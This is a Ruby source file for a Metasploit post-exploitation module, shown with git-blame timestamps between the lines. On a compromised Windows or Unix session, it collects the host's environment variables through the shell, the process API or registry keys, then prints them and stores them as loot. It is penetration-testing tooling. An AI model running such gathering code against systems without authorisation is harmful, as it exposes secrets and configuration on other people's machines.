2010-12-27 17:46:42 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2010-12-27 17:46:42 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
2011-01-12 00:11:43 +00:00
|
|
|
require 'msf/core/post/windows/registry'
|
2010-12-27 17:46:42 +00:00
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
2011-06-21 00:38:04 +00:00
|
|
|
include Msf::Post::Windows::Registry
|
2011-01-06 21:28:00 +00:00
|
|
|
|
2010-12-27 17:46:42 +00:00
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
2011-04-27 16:25:15 +00:00
|
|
|
'Name' => 'Multi Gather Generic Operating System Environment Settings',
|
2011-02-26 02:02:34 +00:00
|
|
|
'Description' => %q{ This module prints out the operating system environment variables },
|
2010-12-27 17:46:42 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2010-12-28 19:39:02 +00:00
|
|
|
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>', 'egypt' ],
|
2010-12-27 17:46:42 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'Platform' => [ 'linux', 'windows' ],
|
|
|
|
'SessionTypes' => [ 'shell', 'meterpreter' ]
|
|
|
|
))
|
2011-03-21 01:31:05 +00:00
|
|
|
@ltype = 'generic.environment'
|
2010-12-27 17:46:42 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
case session.type
|
|
|
|
when "shell"
|
|
|
|
get_env_shell
|
|
|
|
when "meterpreter"
|
|
|
|
get_env_meterpreter
|
|
|
|
end
|
2011-03-21 01:31:05 +00:00
|
|
|
store_loot(@ltype, "text/plain", session, @output) if @output
|
|
|
|
print_line @output if @output
|
2010-12-27 17:46:42 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def get_env_shell
|
2011-03-21 01:31:05 +00:00
|
|
|
print_line @output if @output
|
|
|
|
if session.platform =~ /win/
|
|
|
|
@ltype = "windows.environment"
|
|
|
|
cmd = "set"
|
2010-12-27 17:46:42 +00:00
|
|
|
else
|
2011-03-21 01:31:05 +00:00
|
|
|
@ltype = "unix.environment"
|
|
|
|
cmd = "env"
|
2010-12-27 17:46:42 +00:00
|
|
|
end
|
2011-03-21 01:31:05 +00:00
|
|
|
@output = session.shell_command_token(cmd)
|
2010-12-27 17:46:42 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def get_env_meterpreter
|
|
|
|
case sysinfo["OS"]
|
|
|
|
when /windows/i
|
|
|
|
var_names = []
|
|
|
|
var_names << registry_enumvals("HKEY_CURRENT_USER\\Volatile Environment")
|
|
|
|
var_names << registry_enumvals("HKEY_CURRENT_USER\\Environment")
|
|
|
|
var_names << registry_enumvals("HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment")
|
2011-03-21 01:31:05 +00:00
|
|
|
output = []
|
2011-07-31 18:21:23 +00:00
|
|
|
var_names.delete(nil)
|
2011-02-26 02:02:34 +00:00
|
|
|
var_names.flatten.uniq.sort.each do |v|
|
2011-03-21 01:31:05 +00:00
|
|
|
# Emulate the output of set and env, e.g. VAR=VALUE
|
|
|
|
output << "#{v}=#{session.fs.file.expand_path("\%#{v}\%")}"
|
2010-12-27 17:46:42 +00:00
|
|
|
end
|
2011-03-21 01:31:05 +00:00
|
|
|
@output = output.join("\n")
|
|
|
|
@ltype = "windows.environment"
|
2010-12-27 17:46:42 +00:00
|
|
|
else
|
2011-01-06 21:28:00 +00:00
|
|
|
# Don't know what it is, hope it's unix
|
2010-12-27 17:46:42 +00:00
|
|
|
print_status sysinfo["OS"]
|
2011-01-06 21:28:00 +00:00
|
|
|
chan = session.sys.process.execute("/bin/sh", "-c env", {"Channelized" => true})
|
2011-03-21 01:31:05 +00:00
|
|
|
@output = chan.read
|
|
|
|
@ltype = "unix.environment"
|
2010-12-27 17:46:42 +00:00
|
|
|
end
|
|
|
|
end
|
2011-01-04 02:46:18 +00:00
|
|
|
|
2010-12-27 17:46:42 +00:00
|
|
|
end
|